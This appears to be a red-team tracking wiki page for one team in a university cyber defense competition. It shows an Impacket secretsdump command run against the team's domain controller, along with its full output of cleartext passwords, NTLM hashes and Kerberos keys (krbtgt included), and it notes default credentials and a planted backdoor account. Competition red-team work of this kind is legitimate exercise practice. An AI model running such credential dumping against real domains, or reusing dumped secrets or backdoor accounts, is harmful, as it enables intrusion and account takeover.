Team 1 Wiki Page

Signup Login
Team Information
Team Null protocol logo
Number
Team 1
Name
Null protocol
IP Range
64.39.3.0/24
Domain
team1.isucdc.com
Current Place
11th
Red Teamer(s)
None
Flag Status
Blue Flags
AD C:\Windows\System32\ WWW /etc/ LP C:\Windows\System32\ WMS /etc/ DB /etc/ WWW admin_flag
Red Flags
AD C:\Users\Administrator\ WWW /root/ LP C:\Users\Administrator\ WMS /root/ DB /root/ DB New Table Deface the website
Service Status
AD LDAP
AD RDP
WWW HTTP
WWW SSH
LP RDP
LP SMB
WMS HTTP
WMS SSH
DB SSH
DB SQL
Nmap
/secretsdump.py 'AD$'@ad.team1.isucdc.com  
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

christy.davis:CLEARTEXT:dad695pij
jacqueline.elliott:CLEARTEXT:fan953nuf      <---- admin user
jennifer.freeman:CLEARTEXT:say771dul
anna.pugh:CLEARTEXT:yop409wih
craig.brown:CLEARTEXT:tek794vik
travis.hebert:CLEARTEXT:vit859pev
david.bailey:CLEARTEXT:puf836gih
scott.avila:CLEARTEXT:jub066nur
joseph.smith:CLEARTEXT:mot609yut
sandra.henderson:CLEARTEXT:ROCK123
darren.williams:CLEARTEXT:blues22
allison.hamilton:CLEARTEXT:tiny85
lori.petersen:CLEARTEXT:ricale
john.leguizamo:CLEARTEXT:lordoftheflame
team1.isucdc.com\iowabig:CLEARTEXT:maxverstappen



Password:
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:6aa15b3d14492d3fa4aa7c5e9cdc0e6a:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d0fd9795294d4dbf0a80801edc2fa1b5:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
troy.tomson:1001:aad3b435b51404eeaad3b435b51404ee:6aa15b3d14492d3fa4aa7c5e9cdc0e6a:::
christy.davis:1110:aad3b435b51404eeaad3b435b51404ee:27f49037ed67aacc16a4a1e1bb516a96:::
jacqueline.elliott:1111:aad3b435b51404eeaad3b435b51404ee:8c10742479f639b0f6f7ab25dfe4fb82:::
jennifer.freeman:1112:aad3b435b51404eeaad3b435b51404ee:bed235233b024f0252e77e8f094db9e7:::
anna.pugh:1113:aad3b435b51404eeaad3b435b51404ee:1c4c9105fef316ebdf9715d0a9408576:::
craig.brown:1114:aad3b435b51404eeaad3b435b51404ee:8a86da6333399c236a92058c1d80ac93:::
travis.hebert:1115:aad3b435b51404eeaad3b435b51404ee:7e718c8ab73e4a3cf8f8b421eeaf873f:::
david.bailey:1116:aad3b435b51404eeaad3b435b51404ee:6dc142bc30776e12834aebd1be69a122:::
scott.avila:1117:aad3b435b51404eeaad3b435b51404ee:51af42d1535a02b22d29828038bd7e10:::
joseph.smith:1118:aad3b435b51404eeaad3b435b51404ee:2280c94d0e80d75f9e9d752e2dd209af:::
sandra.henderson:1119:aad3b435b51404eeaad3b435b51404ee:888bdb846c6ced6d86ede64c52038bb1:::
darren.williams:1120:aad3b435b51404eeaad3b435b51404ee:1d4e5459c4b1e83948a5e500d3457a51:::
allison.hamilton:1121:aad3b435b51404eeaad3b435b51404ee:dc6805f77b07f33e2bd1a4f6c1943339:::
lori.petersen:1122:aad3b435b51404eeaad3b435b51404ee:639c22b12e5c5664d3290241435f6088:::
john.leguizamo:1123:aad3b435b51404eeaad3b435b51404ee:b3d45fcfc4ca6b0ed8180e280b470a20:::
team1.isucdc.com\iowabig:1128:aad3b435b51404eeaad3b435b51404ee:e643cf9fe02226543517efe9583c6052:::
AD$:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
LP$:1124:aad3b435b51404eeaad3b435b51404ee:221712dcd2252e2ab14660baf05ce8a4:::
DB$:1125:aad3b435b51404eeaad3b435b51404ee:958d977f474e8793ea683dc18601500c:::
WWW$:1126:aad3b435b51404eeaad3b435b51404ee:bb84814392be1c05436542a190d5e312:::
WMS$:1127:aad3b435b51404eeaad3b435b51404ee:1ccd8607dd2e7d3b3f59e575a038042c:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:2a8e76f48214e443a51e22a0fdb85af44e3cf67d738dd6a637805ab0ac510b8b
krbtgt:aes128-cts-hmac-sha1-96:d21e38132ba347fb975331b80043b51a
krbtgt:des-cbc-md5:e95443e689f73b51
christy.davis:aes256-cts-hmac-sha1-96:99a040bba7e4f5f6f6b08a191b9228d6159792dbb97c1d6b204036fee6b6badf
christy.davis:aes128-cts-hmac-sha1-96:f65d565b1307f14b5b92789b7183537f
christy.davis:des-cbc-md5:c2fe0d6dfb071a4f
jacqueline.elliott:aes256-cts-hmac-sha1-96:43583152c02ba05e77aace18daa7264373471767f3eddcfec6da415fa111a465
jacqueline.elliott:aes128-cts-hmac-sha1-96:1aed85432bd965085d608fe4903859db
jacqueline.elliott:des-cbc-md5:011c76aba11a981a
jennifer.freeman:aes256-cts-hmac-sha1-96:f91b3394828c6869b5e24f9a0b492b7895c5f155796ececac335a6674c147071
jennifer.freeman:aes128-cts-hmac-sha1-96:1affe7e9ac65614f88806e4b0d47af2b
jennifer.freeman:des-cbc-md5:38239ec47cbf68b3
anna.pugh:aes256-cts-hmac-sha1-96:d413811a434bff179f076683766710cd1a2b211c257cc3f0392f8596b6e92a63
anna.pugh:aes128-cts-hmac-sha1-96:dd36f663732093d257170336ffe01c05
anna.pugh:des-cbc-md5:9497c73151b6e5c1
craig.brown:aes256-cts-hmac-sha1-96:65e01d192425abb8e5e582f8fe0af1638575f12c5371c4b1b63ae976b87a5362
craig.brown:aes128-cts-hmac-sha1-96:0751d33a039f31f391245bf0a80d30fa
craig.brown:des-cbc-md5:322c1094d5fbd58c
travis.hebert:aes256-cts-hmac-sha1-96:8b786ffc2d93ae295d64339b152b24a4171cfcea083b757c7577727acd49f7fd
travis.hebert:aes128-cts-hmac-sha1-96:bb6f851e1f294bf1687e00fb7a05fffd
travis.hebert:des-cbc-md5:45e6b6dcabfb0491
david.bailey:aes256-cts-hmac-sha1-96:02c1b92944f9fb4e83f3b8e2192eeff09083c2787bd0cef407602f1fe701f4e2
david.bailey:aes128-cts-hmac-sha1-96:1e10d228a5446e23c7034cb69b4c5da7
david.bailey:des-cbc-md5:a70e6b383b8ca2d0
scott.avila:aes256-cts-hmac-sha1-96:11f124eccea4d3b18df55432dccb561401cff35be4d652d021dfe28978cd0667
scott.avila:aes128-cts-hmac-sha1-96:958fe1c8a5f18d7d3042f73402345b2d
scott.avila:des-cbc-md5:523dbf29b0138fe6
joseph.smith:aes256-cts-hmac-sha1-96:68b0f4a46e6a43224520e3dea747616c830a727c30f92af66a877b448ed22da8
joseph.smith:aes128-cts-hmac-sha1-96:b6eba9efc22650aa2d95d210f81b78a8
joseph.smith:des-cbc-md5:73314fb0c80eae64
sandra.henderson:aes256-cts-hmac-sha1-96:13d7fb95ad196682b7d0ee9454fc3bf4809c78f252bd4ed5e73a79812b501bc0
sandra.henderson:aes128-cts-hmac-sha1-96:11162b709473036f53f7e77ffd089adc
sandra.henderson:des-cbc-md5:bce5730b37badc61
darren.williams:aes256-cts-hmac-sha1-96:14fea9fa1da0389c061905398b0f51a6a12b897cefe20fae971f23f919162c63
darren.williams:aes128-cts-hmac-sha1-96:aaa75b0864bbdb17492fc33aae8e6aa4
darren.williams:des-cbc-md5:6e0ddce392da0173
allison.hamilton:aes256-cts-hmac-sha1-96:a55009198a8433afe359172cf84b8acf4e1c59aa9828adc7d06e65bb501428ed
allison.hamilton:aes128-cts-hmac-sha1-96:a36785f998c5dc115d513c25f58721ef
allison.hamilton:des-cbc-md5:ea7a3dbaf83b9776
lori.petersen:aes256-cts-hmac-sha1-96:03d2802ae5840278a1f035c21df5f07f7ea93764d1723ea9664bc25e8c31b7d7
lori.petersen:aes128-cts-hmac-sha1-96:a229bbafab7c0b164969fe368657c0f6
lori.petersen:des-cbc-md5:7f671a925b8a6b02
john.leguizamo:aes256-cts-hmac-sha1-96:6f6c3f07f9ea1a111a53b0b76f75faab4bc334db588fdf6b043d34810017e670
john.leguizamo:aes128-cts-hmac-sha1-96:9c07becd21258ffc5fe6e746cf077340
john.leguizamo:des-cbc-md5:efe36764fd16a4fe
team1.isucdc.com\iowabig:aes256-cts-hmac-sha1-96:19b11b09826e9700b87b9c303bffd3da79a906bac7566cf4ea092db677366335
team1.isucdc.com\iowabig:aes128-cts-hmac-sha1-96:31f8d0cce87846e38a485ea522dd1236
team1.isucdc.com\iowabig:des-cbc-md5:bf57dc259b6d86d5
AD$:aes256-cts-hmac-sha1-96:e86dd8ba8bf70542e7a1d93e462ea19ecb16e11be7e6e71c60bd64cac6fb73d7
AD$:aes128-cts-hmac-sha1-96:2a3a2ffc99e7a12b0f7d4983493d5120
AD$:des-cbc-md5:583b5ef7a8f46bc7
LP$:aes256-cts-hmac-sha1-96:8b3271d8c7cd3f71d72ab54f0852eec6c6d2492b01d21d744006f82d15ce233e
LP$:aes128-cts-hmac-sha1-96:c000fdd92c36a367ce87d2e96f7984f9
LP$:des-cbc-md5:d097bc6e4fdc0eae
DB$:aes256-cts-hmac-sha1-96:ae7ff24df1f0cd24d9c453e66a8c2cfe8cadd6087092b13611dd4e5ff401aa50
DB$:aes128-cts-hmac-sha1-96:dced32d614f220c24153e0159dc1b3b3
DB$:des-cbc-md5:54f246a88fe5a2c2
WWW$:aes256-cts-hmac-sha1-96:86bfb4a8d141d0a68f0a0a9fd4372aa760063b2546a1395d9cdb90c7213471ef
WWW$:aes128-cts-hmac-sha1-96:1ffaa3ea9644b0cc9e6357c9425ea140
WWW$:des-cbc-md5:c8a4165dd50225bf
WMS$:aes256-cts-hmac-sha1-96:1fa4cf7fb2e59dfc4b8d6385a9d336d9903e102a8c405a7fa6b32e54cb70733a
WMS$:aes128-cts-hmac-sha1-96:1734214f984129ee3f5a16029293d7a9
WMS$:des-cbc-md5:83455d23b3684986
[*] ClearText passwords grabbed
krbtgt:CLEARTEXT:0x60e356ceeb7753a525711ad16a6878f0affa8375346a74fbc9411e2a703accdd5511c45a5560239faee1b7765c6321d7f25a0217e12e0245b52576591efdf3a5363f89db12f0c82872f4f3122b801a2bb8db4f67f44305658ce82dce59b892a4a78fd8fa93cdb649fc7a66f38413c24e6214291e2cbb2955515a546acd6246ac5d0b70eed92c98c29d29d7dcdaa5090bd236619ada16feb006efda01229c3cbc7b863db659324a77c06adf4bd0cadb823ea19f034959c1573706d8ce6cccfe84b11fe546c4e43ad1cd1c0dcd97eed254c6bdb1ce46c443a53a680e3a320254c0cc5a129f78e1031208239b23a791226b6ce5452c2b87580f893d864bf6b53d20db40b6de84bf73901b59e0bf3ed8803bedccc463255116039d006123d5b88690a9ae1d9f64cbd75be394e7350297039fff041ed3e5a54a282784fa788a8c50a0e64254bd4137be29b0e7ee9fbf9bb2d47ab3e622ace7ccc7df821b54e389d8e6eb9b1dfca5dc1fe8179016a515b64d1647ff0dd935a015ab8bf03acd44543d1bd74b208a46fb7b2d4bdd66e34f9e91084432b6855b108db8c7b69c2524dbd71a4b0652b1d5414aa2fccb060c40d530e6c6ce81129058065694c346b62bba6afb62813df4cbe2b4ed53fe65dd262e48cfc79d86bb6f47276538065c840c3845bbd2312a21c3e52e08a4cc10d489a839168f91b59e310f50e2c3e00db5b4a3fd4c
christy.davis:CLEARTEXT:dad695pij
jacqueline.elliott:CLEARTEXT:fan953nuf
jennifer.freeman:CLEARTEXT:say771dul
anna.pugh:CLEARTEXT:yop409wih
craig.brown:CLEARTEXT:tek794vik
travis.hebert:CLEARTEXT:vit859pev
david.bailey:CLEARTEXT:puf836gih
scott.avila:CLEARTEXT:jub066nur
joseph.smith:CLEARTEXT:mot609yut
sandra.henderson:CLEARTEXT:ROCK123
darren.williams:CLEARTEXT:blues22
allison.hamilton:CLEARTEXT:tiny85
lori.petersen:CLEARTEXT:ricale
john.leguizamo:CLEARTEXT:lordoftheflame
team1.isucdc.com\iowabig:CLEARTEXT:maxverstappen
LP$:CLEARTEXT:0x1679a313073c7305b2da4d2a1326822c8f7fb5a846384821360dd570dd1b80ce2731ef09e73307ac403dcaec387824d1e517310353ab07e7edc542977850efc7ebd9ca0e84deb0f910ed7095a36c6601e8187a160e32eb762fa3c322146c76fb148ff43c781e6d70cb42d0e1972b89e69438fca2f8c6e222fb8d1523571232a98d00301a71f0a469ca824b52813b869a9640048cd0ff46d8a1cfe44f19102e448bddb6dfffde611975d8706c7b47d1421b3dfe92df20289ce4091e71d50a6f6ad53243fc947d71ff3e791b5fd7d24062c709285e30f02ccf1d7173c8a5173ffcc2e4c7fa6e3ea5c610ae3e1bb259395b
DB$:CLEARTEXT:QEkVPTrmU#UYWJM0v=yw#HYqaVzF6qBTUoLbgq7MY#Sw-H,ivT:,kdnJ)wA**=[M.SYWzuOuA)X4g[p.leTI#
WWW$:CLEARTEXT:asS(ZW_[Y81O?LAqR(vkX)TV/)Mhx(ZXLuE/Y4F(H=dLZ=6.Q?MjT:O%aY#ZWt=#P-c:j)s5caJuwVEAG;C%X9/d(B7E8VxFz[x>%9pFO9^qcS(yY-SA2sfY
WMS$:CLEARTEXT:1l+Y>^:H@W>G%603]?-Pcwj?i69[p-wpi4%dXp-MN&k4Ba[XcQbn,[9mMrLgT@=GBjKDayx_.R9f
[*] Cleaning up...


Notable Vulnerabilities
lp.team1.isucdc.com RDP and SMB allow default creds (Administrator:cdc)
New Credential created (redbeard:PWNED1)
Notable Defenses
Add content here...
Team Spirit Issues
Add content here...